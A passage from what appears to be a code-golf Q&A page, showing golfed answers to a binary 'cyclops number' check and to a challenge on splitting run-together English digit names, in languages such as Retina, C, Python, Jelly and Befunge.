– Try It Online") No string manipulation required ``` ĐļƖĐ⁺2⇹^⇹₂2⇹^-⁻= ``` | Instruction | Stack | Note | | --- | --- | --- | | `Đ` | n,n | implicit input (n); duplicate onto stack | | `ļƖ` | n,k | take base-2 log of n and cast to integer (k) | | `Đ` | n,k,k | duplicate k on stack | | `⁺` | n,k,k+1 | increment top of stack | | `2⇹^` | n,k,2^(k+1) | raise 2 to the k+1 power | | `⇹` | n,2^(k+1),k | swap the top two items on the stack | | `ᵮ₂` | n,2^(k+1),k/2 | cast top of stack to float, then divide by 2 | | `2⇹^` | n,2^(k+1),2^(k/2) | raise 2 to the k/2 power | | `-⁻` | n,2^(k+1)-2^(k/2)-1 | subtract and decrement | | `=` | True/False | check for equality; implicit print | [Answer] # [GolfScript](http://www.golfscript.com/golfscript/), ~~31~~ ~~35~~ 26 bytes *-5 thanks to @DLosc* ``` .!5*+2base..-1%=\{0=},,1=& ``` Link includes test cases. [Try it online!](https://tio.run/##S8/PSStOLsosKPkfbaBgqGCqYKlgaKBgZK5gYQpkGCoYGoKwZWz1fz1FUy1to6TE4lQ9PV1DVduYagPbWh0dQ1u1/7WqeVr/AQ "GolfScript – Try It Online") # Explanation ``` .!5*+2base..-1%=\{0=},,1=& | whole program .!5*+ | if the input is 0, make it 5 (smallest non-zero cyclops number) 2base.. | push the binary version of the input -1% | push the reversed version of the binary = | is it equal to the non-reversed version? \{0=},, | count the number of zeros 1= | is it equal to 1? & | are both of the above checks true? ``` [Answer] # [Thunno](https://github.com/Thunno/Thunno), \$ 8 \log\_{256}(96) \approx \$ 6.58 bytes ``` bDZqs0c= ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m72sJKM0Ly9_wYKlpSVpuhYrklyiCosNkm0hXKjogsWGhpYQJgA) Port of emirps's Vyxal answer. ## [Thunno](https://github.com/Thunno/Thunno) `P`, \$ 9 \log\_{256}(96) \approx \$ 7.41 bytes ``` bD0c1=sZq ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m72sJKM0Ly9_abRSgFLsgqWlJWm6FiuTXAySDW2LowohfKjwgsWGhpYQJgA) Port of Kevin Cruijssen's 05AB1E answer. #### Explanation ``` bDZqs0c= # Implicit input bD # Convert to binary and duplicate Zqs # Check if it's a palindrome and swap 0c= # Is this equal to the count of 0s? # Implicit output ``` ``` bD0c1=sZq # Implicit input bD # Convert to binary and duplicate 0c # Count the number of "0"s in the string 1= # Is it equal to 1? sZq # Swap and check if it's a palindrome # P flag multiplies them together # Implicit output ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 8 bytes ``` Π:Ḃ=$0O= ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyJBIiwiIiwizqA64biCPSQwTz0iLCIiLCIwXG4xXG41XG45XG4xMFxuMjdcbjg1XG4xMDFcbjExMVxuMTE5Il0=) Different approach from the other Vyxal answer. ``` Π # binary of input Ḃ= # the equality of the reversed version of it to itself (0 for non palindrome, 1 for palindrome) = # is equal to : $0O # the count of 0s in itself ``` Could potentially be golfed ]
[Question] [ # Task Given a string of English names of digits “collapsed” together, like this: ``` zeronineoneoneeighttwoseventhreesixfourtwofive ``` Split the string back into digits: ``` zero nine one one eight two seven three six four two five ``` # Rules * The input is always a string. It always consists of one or more lowercase English digit names, collapsed together, and nothing else. + The English digit names are `zero one two three four five six seven eight nine`. * The output may be a list of strings, or a new string where the digits are delimited by non-alphabetic, non-empty strings. (Your output may also *optionally* have such strings at the beginning or end, and the delimiters need not be consistent. So even something like `{{ zero0one$$two );` is a valid (if absurd) answer for `zeroonetwo`.) * The shortest answer in bytes wins. # Test cases ``` three -> three eightsix -> eight six fivefourseven -> five four seven ninethreesixthree -> nine three six three foursixeighttwofive -> four six eight two five fivethreefivesixthreenineonesevenoneeight -> five three five six three nine one seven one eight threesevensevensixninenineninefiveeighttwofiveeightsixthreeeight -> three seven seven six nine nine nine five eight two five eight six three eight zeroonetwothreefourfivesixseveneightnine -> zero one two three four five six seven eight nine ``` [Answer] # [Retina](https://github.com/m-ender/retina), 20 bytes ``` !`..[eox]|[tse]?.... ``` [Try it online!](https://tio.run/##HYxRDoAgDEPP4gW4ggchJPpRZD8sgYnEePe50eyn7esahOqpuh0hRPBMX5SOtAeT6ovGlSp4HegqIg93DFQpDeg0M9/NskwDThtmbpXeeGzQWqy5f/sB "Retina – Try It Online") [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~89 80 76 75 72 71 70~~ 69 bytes ``` f(char*s){*s&&f(s+printf(" %.*s",""[(*s^s[2])%12],s)-1);} ``` [Try it online!](https://tio.run/##XY/RisIwEEWRti9@RYgoSbfK6quLPyIuSDsxA5pIJ9Wi@O3dJN1CaSCZZGbuuZNyfSnLboGmvDYVsB9yFdqNPnRKlPpc5yTfOa1WStDXvUbjlOBsucmJFzydZUmaZWk6SxJ@FDn90nF3ksvt7lSQXG/l/tPdzmiEfM8XFSg0wDxHssrGWNwbR4JzuWdPjVcQ33LO/PIWTtcAvjC8AS/aEbajlMIHKNvUBA8wo7zxNlHu26eY2I9tpLmnDYgJMSrCZVAHnDUQXXyM0pGmdwrF/sA2CIYdQGOz4RtRNUW9oLbewbf2Q/hZ/weJ6NgeoEHy6f4A "C (gcc) – Try It Online") (89) Credit to [gastropner](https://codegolf.stackexchange.com/a/148776/31443) for the XOR hash. (76) Credit to [Toby Speight](https://codegolf.stackexchange.com/a/148827/31443) for the idea of using 1st and 3rd. (75) Credit to [Michael Dorgan](https://codegolf.stackexchange.com/questions/148676/uncollapse-digits#comment363811_148826) for `'0'` → `48`. (72) Credit to [Michael Dorgan](https://codegolf.stackexchange.com/questions/148676/uncollapse-digits#comment363815_148826) and [Lynn](https://codegolf.stackexchange.com/questions/148676/uncollapse-digits#comment363897_148826) for literals with control characters. (69) Credit to [Lynn](https://codegolf.stackexchange.com/questions/148676/uncollapse-digits#comment364246_148826) for `x?y:0` → `x&&y` ``` f (char *s) { /* K&R style implicit return type. s is the input. */ *s&&f( /* Recurse while there is input. */ s+printf( /* printf returns the number of characters emitted. */ " %.*s", /* Prefix each digit string with a space. Limit * how many bytes from the string to print out. */ "" /* Magic hash table, where the value represents * the length of the digit string. The string * is logically equivalent to * "\04\01\05\03\04\05\05\04\04\01\03\03" */ [(*s^s[2])%12], /* The XOR hash (mod 12) */ s) /* The current digit. */ -1);} /* Subtract 1 for the space. */ ``` [Answer] # [Python 2](https://docs.python.org/2/), 50 bytes ``` import re re.compile('..[eox]|[tse]?....').findall ``` [Try it online!](https://tio.run/##jUzBCsIwFLvvKwIeuh3swauIZ09@wNyh6Kt70L2W9rkp@O9zKHo2kJBAkvTQPspmnnlIMSsyVZnsOQ6JA9XG2pbivXu2Wqjb2wWmsZ7l4kKY/e70dxkrHAUOQhMCC6FEaO8UrKaAXGHK0IiU40g4mAEpuAfLFd5xttiumyplFoWvWdJN66aZjfaZqNBI8hG@y/L9peeRiK@96hR/fum8V@9gXg "Python 2 – Try It Online") -3 thanks to [Lynn](https://codegolf.stackexchange.com/users/3852/lynn). -4 thanks to [Uriel](https://codegolf.stackexchange.com/a/148683/41024)'s [answer](https://codegolf.stackexchange.com/a/148683/41024)'s regex. [Answer] # Befunge, ~~87~~ ~~85~~ ~~81~~ 76 bytes ``` <*"h"%*:"h"$_02g-v1$,*<v%*93,:_@#`0:~ "@{&ruX;\"00^ !: _>_48^>+:"yp!"*+%02p0 ``` [Try it online!](http://befunge.tryitonline.net/#code=PCoiaCIlKjoiaCIkXzAyZy12MSQsKjx2JSo5Myw6X0AjYDA6fgoiQHsmcnVYO1wiMDBeICE6IF8+XzQ4Xj4rOiJ5cCEiKislMDJwMA&input=dGhyZWVzZXZlbnNldmVuc2l4bmluZW5pbmVuaW5lZml2ZWVpZ2h0dHdvZml2ZWVpZ2h0c2l4dGhyZWVlaWdodA) Befunge doesn't have any string manipulation instructions, so what we do is create a kind of hash of the last three characters encountered, as we're processing them. This hash is essentially a three digit, base-104 number. Every time a new character is read, we mod the hash with 1042 to get rid of the oldest character, multiply it by 104 to make space for the new character, then add the ASCII value of the new character mod 27 (to make sure it doesn't overflow). For comparison purposes, we take this value mod 3817, write it into memory (thus truncating it to 8 bits), which results in smaller numbers that are easier for Befunge to handle. The hashes we then have to compare against are 0, 38, 59, 64, 88, 92, 114, 117, and 123. If it matches any of those, we know we've encountered a character sequence that marks the end of a number, so we output an additional space and reset the hash to zero. If you're wondering why base 104, or why mod 3817, those values were carefully chosen so that the hash list we needed to compare against could be represented in as few bytes as possible. [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), ~~55~~ ~~46~~ 43 bytes *Saving 9 bytes thanks to Forty3/FrownyFrog* *Saving 3 bytes thanks to Titus* ``` s->s.replaceAll("one|tw|th|f|z|s|.i"," $0") ``` [Try it online!](https://tio.run/##jZC/boMwEId3nuJkdQCpQd2jVuoDNEvGqoNLzsGpYyPbEJrCs9OzMVKXCgb8j7vv99kX3vGdaVBfTl9Tpbhz8Mal/skApPZoBa8QDmELcPRW6jOIPC1csafzMaPBee5lBQfQ8AyT27240mKjqPlVqZwZjYO/Db4exHAf3FBK9sjg4YkV0z60N@2novZE6Yw8wZUsUtD7B/AiKXw7j9fStL5s6JdXOtelyJmvLSIrotD/VSjPtXeyXy0UskNhWuuwQ71araXGKEDobSKRLfvo428mxG1yivSwWJJCND1u9KQ5AldJs2tomQfZB8zyBfxfseXRYte2gDtaQzYEmIXptkk6BkZIiAp1YU7AMRunXw "Java (OpenJDK 8) – Try It Online") edit: Thank you for the welcome and explanation of lambdas! [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~179~~ ~~159~~ ~~146~~ ~~139~~ ~~137~~ ~~116~~ ~~107~~ ~~103~~ 102 bytes **Edit 1:** (Added suggestions from **Mr. Xcoder** - thanks! - My macro version was same size as yours, but I like yours better.) **Edit 2:** Changed char individual compares to calls to `strchr()` **Edit 3:** K&R's the var declarations (Eww!) **Edit 4:** When 1 macro is not enough... **Edit 5:** Redone with new algorithm suggested above. Thanks to **James Holderness** for this great idea! **Edit 6:** Removed 0 set as it seems to go there automatically - Master level code golf techniques used (commas, printf trick, etc.) - thanks **gastropner**! **Edit 7:** Use memchr and fixed a bug pointed out by **James Holderness**. **Edit 7:** Use `&&` on final check to replace `?` - thanks **jxh**. ``` c,h;f(char*s){while(c=*s++)putchar(c),h=h%10816*104+c%27,memchr("&;@X\\ru{",h%3817,9)&&putchar(h=32);} ``` [Try it online!](https://tio.run/##NYtLCoMwFAD3nkIEJdEUjJZqCUKP0YUbeTz7AjWWxE@pePb0A53NwMDA4QbgPQhSPQPqbOr4tpK@I4MmdVnGH/P07Qy4oIZimdfylMr8mEFcVGLAAciyKFGXa9vaeYsExWUtK3HmSfJ/qSkLrnavzRQOnTaMb0H4oWeR00@HC5rR4LSOvV7whfZnow1GXAW7fwM "C (gcc) – Try It Online") Non-golfed (Which is still very golfy honestly...) ``` int c; int h; void f(char*s) { while(c=*s++) putchar(c), h=h%10816*104+c%27, memchr("&;@X\\ru{",h%3817,9)?putchar(h=32):1; } ``` Old, straight forward grep-esqe solution: ``` #define p putchar #define q c=*s++ c,x;f(char*s){while(q){p(c);x=strchr("tse",c);p(q);p(q);if(!strchr("eox",c)){p(q);if(x)p(q);}p(' ');}} ``` Old, cleaner version. ``` // Above code makes a macro of putchar() call. void f(char *s) { char c; while(c = *s++) { putchar(c); int x = strchr("tse", c); putchar(*s++); putchar(c=*s++); if(!strchr("eox", c)) { putchar(*s++); if(x) { putchar(*s++); } } putchar(' '); } } ``` [Try it online!](https://tio.run/##PYtLDsIgEIb3PQXiokNbT0B6mGYchEQpAVQSwtkRjHU2/@sbvNwQaz1fSRlLzDH3jKg3P@CSpIJupyDyW5s7Aa5TmGeRHaCQaQ3Ro/bAYyC@tMbBd276A6VRcDoo2lOn@vd/TOIIxcHIxqalGhvZYzMWRB5YOwU8mBToRXa3xIUcSv0A "C (gcc) – Try It Online") [Answer] # JavaScript, 66 57 52 44 41 bytes `s=>s.replace(/one|t[wh]|.i|[fsz]/g," $&")` Pretty naive, but it works. Nice catch by FrownyFrog to use 2 chars .. except for "one" which a pure 2 char check might mess up zeronine. Edit: the single `f` and `s` were good catches by FrownyFrog that I overlooked my first two golfs. Thanks, Neil, for the suggestion of an unnamed lambda and being able to use a single char for `z` gets down to 52. Titus comes up with a smaller RegEx. I feel we are heading toward Uriel's regex eventually. [Answer] # [Retina](https://github.com/m-ender/retina), ~~24~~ 23 bytes ``` !`..[eox]|[fnz]...|.{5} ``` [Try it online!](https://tio.run/##HcjBDYAgDAXQWVygN6chJHr4SC9tAhUJ4uzVmLzTKzCW3X3ZiAK0xxmSjEhEk@71cR8oKizQH/jIZpdWNIjlAlTuSc/yXeKGFw "Retina – Try It Online") Edit: Saved 1 byte thanks to @FrownyFrog. [Answer] # C, ~~103~~ 99 bytes ``` char*r="f.tzuonresn.xgv";f(char*s){*s&&f(s+printf("%.*s ",(strrchr(r,s[2])-strchr(r,*s))%10,s)-1);} ``` This works for any character encoding (including awkward ones like EBCDIC), because it doesn't use the numeric value of the input characters. Instead, it locates the first and third letters in a magic string. The distance between these indicates how many letters to advance with each print. ## Test program ``` #include <stdio.h> int main(int argc, char **argv) { for (int i = 1; i < argc; ++i) { f(argv[i]); puts(""); } } ``` [Answer] # [J](http://jsoftware.com/), ~~37~~ 35 bytes ``` rplc'twthsiseeinionzef'(;LF&,)\~_2: ``` [Try it online!](https://tio.run/##XZDBDsIgDIbvPgUn0cR48Kjx6slHMNlhKVJjwABuyw6@OtJuzZQECC3///UPj5zNea/C69nq1CcbMQKgQ@9GMHpzul7Wu@3t0xyOGVrrlVF6hOAdOvC8AO82pd5H6MAlGwAiDsa/Q@kZ7ECvxMePS8nGol06BBVCJSZg6cqwfzBVrKeLeOeEHEtiVln4bTpwIL1s4vyOkqjsqkj0G4VflFOEEnSOwWRWE1PnLw) [Answer] # Z80 Assembly, 46 45 bytes ``` ; HL is the address of a zero-terminated input string ; DE is the address of the output buffer Match5: ldi ; copy remaining characters Match4: ldi Match3: ld a,32 : ld (de),a : inc de ; and add space after a matched word. Uncollapse: ld a,(hl) : ldi : or a : ret z ; copy first byte (finish if it was zero) ex af,af' ; and save its value for later. ldi : ld a,(hl) : ldi ; copy second and third bytes cp 'e' : jr z,Match3 ; is the third letter 'e' or 'o' or 'x'? cp 'o' : jr z,Match3 cp 'x' : jr z,Match3 ex af,af' ; now look at the first letter cp 'e' : jr z,Match5 ; is it 't' or 's' or 'e'? sub 's' : jr z,Match5 dec a : jr z,Match5 jr Match4 ``` (It was fun to adapt the Uriel's cool regex to a regex-unfriendly environment). [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~106 bytes~~ ~~104~~ 102 bytes -2 bytes thanks to @jxh -2 bytes thanks to ceilingcat ``` c;f(char*s){for(char*t=" $&=B*,29/?";*s;)for(c=4+(index(t,(*s^s[1])+35)-t)/4;c--;)putchar(c?*s++:32);} ``` [Try it online!](https://tio.run/##dY/dagMhEEavm6dYpBR1s4Tm56KVJdDXKAkEO2bnIhrUJEtCnn2rs11o2eZCHRzP@UZd7bXuOq0M183OyyBuxvm@jjUrnl/qDzmdv83WTMmgBDXrZcnRfkHL45TLsA2frxtRLlaiimK2VLqqlDieYpZwvZahLN8Xc6HuHdpYHHZouZjcJk@Gs9h4ACZUkZ4HzlJF14D7JgZsxx2DZzDu5AOcwY7bFi2QM8EP3ERjSxHx4rLw/xjiczG4stxZoOh0kmGM9vH5Tb9hm7lhZd/v6OGnRD0wXsG7lJeIfqT0gZ@xKIGo7P5L3rtv "C (gcc) – Try It Online") XOR is truly our greatest ally. [Answer] # [Retina](https://github.com/m-ender/retina), 28 bytes ``` t[ewh]|[zfs]|(ni|o)ne|ei $& ``` [Try it online!](https://tio.run/##DcqxDYAwDATAnikoEIKZUAqKD3HzlhKTIOTdDVdfhQnPCDswSvLjzS35RnHdCYdM87JGKGFDrVQg612zdDR5GjoIuYpR/gB@ "Retina – Try It Online") [Answer] # [Pyth](https://github.com/isaacg1/pyth), ~~35 27~~ 23 bytes Saved a lot of bytes by porting [Uriel's approach](https://codegolf.stackexchange.com/a/148683/59487). ``` :Q"..[eox]|[tse]?...."1 ``` [Try it here!](https://pyth.herokuapp.com/?code=%3AQ%22..%5Beox%5D%7C%5Btse%5D%3F....%221&input=%22ninethreesixthree%22&debug=0) [Initial approach.](https://pyth.herokuapp.com/?code=%3AQ%22one%7Ctwo%7Cthree%7Csix%7Cseven%7Ce%3F....%221&input=%22ninethreesixthree%22&debug=0) [Answer] # [Pip](https://github.com/dloscutoff/pip), 27 bytes ``` aR`[zfs]|one|[ent][iwh]`s._ ``` Takes input as a command-line argument. [Try it online!](https://tio.run/##bVG7coMwEOz9FTeuQmH/SZq0DBNcHEaNYIDYjI2/Xb5dPUhmUlg@3e3trpbRjaE@yHHpJ9WjiHywqqyl7tovs1vZ5UXshknnbtoNP9OsN/UcoyNoCXsAeeeVXLa0s6MrvIJMihjp3EqZ5T6ALxKT05DRgI0Es@yC@yiyCPgHr3Rh/9zaHUZhlkVdaMmw0TorrlU5Fvbj4Vag8w9Evx3nxLi1S6fnkj2dJk7Z/aCpv4@UEnpyWmw9dBrMpwFjABZSCoH8xIGV8gDzVeBNCSDVEkP0FMWwVR0a@ZRnuHy19aObm82Wt1r90tTu3jftfP4OrxBOPvzz1d4 "Pip – Try It Online") Simple regex replacement, inserts a space before each match of `[zfs]|one|[ent][iwh]`. --- Jumping on the bandwagon of ~~stealing~~ borrowing Uriel's regex gives **[23 bytes](https://tio.run/##bVE7boUwEOw5xYoqFI8rJBdIlRIhkWIJbjACwkP5nN3ZGX9IpCBh9jszHha3hK6Sep9W1VpEHhg1VlL3Nu2bO1llIpahM7pDR/@@bnrozDYqgpKwhqHZzUosW7rQURWmAJNCRjh3kma/e@BFYGLaZBRgLUEvq@A@gkwCfD8rVdiXW5fCSMywsAsl2WyUzohrTbaF9Xi4E9P5BdBvxdkxbl3U6bpET6eRk/Y6KOrvJaWYnpQWWR@6etNpg9EAMymZQHzOAZX0GOatgJscgKvFhqgpkmGrqXp5ls/w@jS0baf@7L@6fdP@sbVnCN8h3F7CPz/sBw "Pip – Try It Online")** (with `-s` flag): ``` a@`..[eox]|[tse]?....` ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~23~~ 21 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ḣ3OP%953%7%3+3ɓḣṄȧṫḊÇ ``` A full program printing line-feed separated output. Note: once it's done it repeatedly prints empty lines "forever" (until a huge recursion limit or a seg-fault) **[Try it online!](https://tio.run/##y0rNyan8///hjsXG/gGqlqbGquaqxtrGJycDRR7ubDmx/OHO1Q93dB1u////f1VqUX5eZl5qPhilZqZnlJSU5xenlqXmlWQUpaYWZ1ak5ZcWAcXSMstSAQ "Jelly – Try It Online")** (TIO output is accumulated, a local implementation will print line by line) ### How? Starting with a list of characters, the program repeatedly: 1. finds the length of the first word of the list of characters using some ordinal mathematics; 2. prints the word plus a linefeed; and 3. removes the word from the head of the list of characters The length of the first word is decided by inspecting the first three characters of the current list of characters (necessarily part of the first word). The program converts these to ordinals, multiplies them together, modulos the result by 953, modulos that by seven, modulos that by three and adds three: ``` word head3 ordinals product %953 %7 %3 +3 (=len(word)) zero zer [122,101,114] 1404708 939 1 1 4 two two [111,110,101] 1233210 28 0 0 3 one one [116,119,111] 1532244 773 3 0 3 three thr [116,104,114] 1375296 117 5 2 5 four fou [102,111,117] 1324674 4 4 1 4 five fiv [102,105,118] 1263780 102 4 1 4 six six [115,105,120] 1449000 440 6 0 3 seven sev [115,101,118] 1370570 156 2 2 5 eight eig [101,105,103] 1092315 177 2 2 5 nine nin [110,105,110] 1270500 151 4 1 4 ``` ``` ḣ3OP%953%7%3+3ɓḣṄȧṫḊÇ - Main link, list of characters e.g. "fiveeight..." ḣ3 - head to index three "fiv" O - ordinals [102,105,118] P - product 1263780 %953 - modulo by 953 102 %7 - modulo by seven 4 %3 - modulo by three 1 +3 - add three 4 ɓ - dyadic chain separation swapping arguments... ... ḣṄȧṫḊÇ ... ḣ - head to index "five" Ṅ - print the result plus a line-feed and yield the result ṫ - tail from index "eeight..." ȧ - and (non-vectorising) "eeight..." Ḋ - dequeue "eight..." Ç - call the last link (Main*) as a monad with this as input - * since it's the only link and link indexing is modular. ``` [Answer] # C ~~168~~ ,~~145~~,~~144~~,141 bytes EDIT: Tried init 'i' to 1 like so > > a,b;main(i) > > > To get rid of leading whitespace, but it breaks on input starting with three, seven or eight **141** ``` #define s|a%1000== a,i;main(b){for(;~scanf("%c",&b);printf(" %c"+!!i,b),a|=b%32<<5*i++)if(i>4|a%100==83 s 138 s 116 s 814 s 662 s 478)a=i=0;} ``` [Try it online](https://tio.run/##LU5dD4IwDHz3V6AGwwQTEEQSnP9lzE774GY2ROLXX8cyfLm2d9dr5eYs5TAsT6BQQ@DeIszSNOV8JhKsrwJ11LCXMjaqv04KraJFKBfJqmH1zaJuaQ6IiOdzTBqWiDdvwnx7OOzWGMcMVYTHYsrkvMoDF2R5NWJWElZZQViWW8JiXzHBkaf1ZxgcdKDbiwX6qgOHve81fWg0eJEq4PnSesEzE2CvzN1SmdSHGQO8yRNPsIZWiZ/Syfu/4Ne9ZzzzAw) **144** ``` a,i;main(b){for(;~(b=getchar());printf(" %c"+!!i,b),a=a*21+b-100,++i)if(i>4|a==204488|a==5062|a==7466|a==23744|a==21106|a==6740|a==95026)a=i=0;} ``` [Try it online](https://tio.run/##LU5dD4IwDHz3V6AGwwQTEEQSnP9lzE774GY2ROLXX8cyfLm2d9dr5eYs5TAsT6BQQ@DeIszSNOV8JhKsrwJ11LCXMjaqv04KraJFKBfJqmH1zaJuaQ6IiOdzTBqWiDdvwnx7OOzWGMcMVYTHYsrkvMoDF2R5NWJWElZZQViWW8JiXzHBkaf1ZxgcdKDbiwX6qgOHve81fWg0eJEq4PnSesEzE2CvzN1SmdSHGQO8yRNPsIZWiZ/Syfu/4Ne9ZzzzAw) **168** ``` i,a;main(b){for(;~scanf("%c",&b);printf(" %c"+!!i,b),a|=b<<8*i++)if(i>4|a==1869768058|a==6647407|a==7305076|a==1920298854|a==1702259046|a==7891315|a==1701734766)a=i=0;} ``` [Try it online!](https://tio.run/##PU3bbsMgDP2VtdKmsGQSSQCDUvYvBEHrh8FE0ou2br@eEVLtxT4@N9u3o7XLgo0ZPgyGaiTfPqZq@J2sCb7aP9t98zKS4TNhmPP9lIl6t8NmJI256/FwkK9Y1wR9he/sbrRupVAgJOVyvYRgwCisEHrKKYjiUR3tlJR8SwDtOq4oKxpI1fYtfwgt9AyEIEajpsPPsni8uPmUnFvBhLeCAwYXg5vcxYW8HR5PcxEKsw28@XhOeW3qNf43FeLLpZijmd/as/fxocSLZ33zBw) Ungolfed ``` i,a;main(b){ for(;~scanf("%c",&b); // for every char of input printf(" %c"+!!i,b), // print whitespace if i==0 , + char a|=b<<8*i++ // add char to a for test ) if( i>4| // three seven eight a==1869768058| // zero a==6647407| // one a==7305076| // two a==1920298854| //four a==1702259046| //five a==7891315| //six a==1701734766 //nine ) a=i=0; //reset i and a } ``` int constants gets unnecessary large by shifting a<<8 but in case you can compare to strings somehow it should be the most natural **146** Using string comparison ``` #define s|a==*(int*) a,b;main(i){for(;~(b=getchar());printf(" %c"+!!i,b),a|=b<<8*i++)if(i>4 s"zero"s"one"s"two"s"four"s"five"s"six"s"nine")a=i=0;} ``` [Using String comparison](https://tio.run/##LU5LDsIgEN17iooxgbYmLlyYVLwLxaGdhWAAP/F39TpD3cwb3m@wm8HaaVqdwKGHKr2N1rVEn2u1MG3fnQ16ierlQpTdV/Z6gGxHE6VS3SWSz0lRra1olktse9Wat@4Ph32NTaPQSTzuqiSeEINIInigme@8u3CNDHhjLuGDpqcfCGU06m33mSbWOJnHCMAPcpWdfdSV4AaeEHAYcxEKMw988AWCWb0HLiimQnAvRYmf28n7v1DixcNnfg) Obfuscated ``` #define F(x)if(scanf(#x+B,&A)>0){printf(#x,&A);continue;} B;A;main(i){for(;i;){B=1;F(\40e%4s)F(\40th%3s)F(\40se%3s)F(\40o%2s)B=2;F(\40tw%1s)F(\40si%1s)B=1;F(\40%4s)i=0;}} ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 44 bytes ``` Ṛ¹Ƥz⁶ZUwЀ“¢¤Ƙƒ⁺6j¹;Ċ-ḶṃżṃgɼṘƑUẏ{»Ḳ¤$€Ẏḟ1Ṭœṗ ``` [Try it online!](https://tio.run/##y0rNyan8///hzlmHdh5bUvWocVtUaPnhCY@a1jxqmHNo0aElx2Ycm/SocZdZ1qGd1ke6dB/u2PZwZ/PRPUAi/SSQnHFsYujDXf3Vh3Y/3LHp0BIVoMaHu/oe7phv@HDnmqOTH@6c/v9w@9FJQIX//5dkFKWmFqeWpeZBiMyKvMy8VBhOyyxLTc1MzygpKc@Hs4FqwLrAHAA "Jelly – Try It Online") [Answer] Quite long one. You are welcome to golf it down. # [R](https://www.r-project.org/), 109 bytes ``` function(x)for(i in utf8ToInt(x)){F=F+i;cat(intToUtf8(i),if(F%in%c(322,340,346,426,444,448,529,536,545))F=0)} ``` [Try it online!](https://tio.run/##PY3BCsIwEER/JRQKG4xQ0qRUtNeA9/oBUhK7lw3EbS2I315jRQ9v2ZmdYdMaYhSnvVjDRANjJFhkiAlQIImJQ9vHM3E25dN1bofH4cqAxH285COgVBjAlUjlALXWqjZVplFGZ4zJtMrqg7J1o6yxUrqukq/PVyh4TN7f/ezpO3AhJP8j4Ow93kbmR/zvObO1NlHI9Q0 "R – Try It Online") [Answer] # [Haskell](https://www.haskell.org/), 81 bytes ``` f[c]=[c] f(h:t)=[' '|s<-words"z one tw th f s ei ni",and$zipWith(==)s$h:t]++h:f t ``` [Try it online!](https://tio.run/##PYtBCoMwEEX3PcUQBBXbC0hzii66EBdSJ52hdpRk1CK9exos7eJ9/of/qAsPHIYYXXNrbeLgCqq1tE0O@TucT@vo@2A2GAVBV1ACBwGQQdgcO@mzjacrKxXWliFLaltVVDvQ@OxYwMI060U9ZMkzSh4x4ILyDX4JC/5wvCDynVTX8d/TZ7f2YeIH "Haskell – Try It Online") **Explanation:** ``` f(h:t)= h:f t -- recurse over input string [' '|s<- ]++ -- and add a space for each string s words"z one tw th f s ei ni" -- from the list ["z","one","tw","th","f","s","ei","ni"] ,and$zipWith(==)s$h:t -- which is a prefix of the current string ``` [Answer] # [Python 3 (no regex)](https://docs.python.org/3/), 85 bytes ``` i=3 while i<len(s): if s[i-3:i]in'ineiveroneghtwoureesixven':s=s[:i]+' '+s[i:] i+=1 ``` [Try it online!](https://tio.run/##PYy9DsMgDAbn5inYSIQ6VGyoPEmU0SmfFBkE5O/pqZuqHWzZ0t2ls4bIthUPTmvthwZvuz1gIYXnQtyXwXU3zKqMuFuHCazBhI1yZHqFusc1ExUcG7F2xZdRIKOVNmK4SVzjHy1lcJVWq@FDk8DfhYMl95tZugSpSvZ/C3NZ1/MG "Python 3 – Try It Online") [Answer] # Excel, 181 bytes ``` =SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(A1,"z"," z"),"on"," on"),"tw"," tw"),"th"," th"),"f"," f"),"s"," s"),"ei"," ei"),"ni"," ni") ``` Places a space in front of: `z`, `on`, `tw`, `th`, `f`, `s`, `ei`, `ni` [Answer] # [Python 3](https://docs.python.org/3/), no regex, ~~83 68 65~~ 63 bytes -15 thanks to Lynn (refactor into a single function) -3 more thanks to Lynn (avoid indexing into a list with more arithmetic) ...leading to another save of 2 bytes (avoiding parenthesis with negative modulos) :) ``` def f(s):h=ord(s[0])*ord(s[1])%83%-7%-3+5;print(s[:h]);f(s[h:]) ``` A function which prints the words separated by newlines and then raises an `IndexError`. **[Try it online!](https://tio.run/##bZDRasMgFIavk6cQITRuLWyEsmHZk5Rcrcd5bjToaZfu5Z0eGygkgSTq8fv@o9OdrHdDShcwwvRRafvlw6WP57dRvdTR@6i6z6E7fHSH4fV4mgI6ysvajuqUkbPVo0rGB0EQSaATvSQbAOS@Fc@PBPyxFHFeFQzewPhriHADt6o6dMDCjG6LmcWZ/fTri24zg@kyWExF7R1wbv6zYEXW7LKlfnAu2PIW3XPwckimtoV/EHxOy0BtKHf/aIoDGCpqqXTb1OuW6KYrabnnS1ZtQ@Gei43pH3OYv2GislSB3U6l9A8 "Python 3 – Try It Online")** (suppresses the exceptions to allow multiple runs within the test-suite) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~40~~ 39 bytes ``` “¢¤Ƙƒ⁺6j¹;Ċ-ḶṃżṃgɼṘƑUẏ{»Ḳe€€@ŒṖẠ€TḢịŒṖK ``` [Try it online!](https://tio.run/##y0rNyan8//9Rw5xDiw4tOTbj2KRHjbvMsg7ttD7Spftwx7aHO5uP7gES6SeB5IxjE0Mf7uqvPrT74Y5NqY@a1gCRw9FJD3dOe7hrAZAd8nDHooe7u8Ei3v///1fKz0stKc9XAgA "Jelly – Try It Online") ## How it works ``` “¢¤Ƙƒ⁺6j¹;Ċ-ḶṃżṃgɼṘƑUẏ{»Ḳe€€@ŒṖẠ€TḢịŒṖK “¢¤Ƙƒ⁺6j¹;Ċ-ḶṃżṃgɼṘƑUẏ{» = the compressed string of the digit names Ḳ = split at spaces e€€@ŒṖ = check whether each member of each partition of the argument is a digit. Ạ€ = A function that checks whether all values of an array are true, applied to each element. T = Finds the index of each truthy element Ḣ = Grab the first element, since we have a singleton array ịŒṖ = The previous command gives us the index, partition that splits the input into digits. This undoes it and gives us the partition. K = Join the array of digits with spaces ``` [Answer] # [QuadS](https://github.com/abrudz/QuadRS), 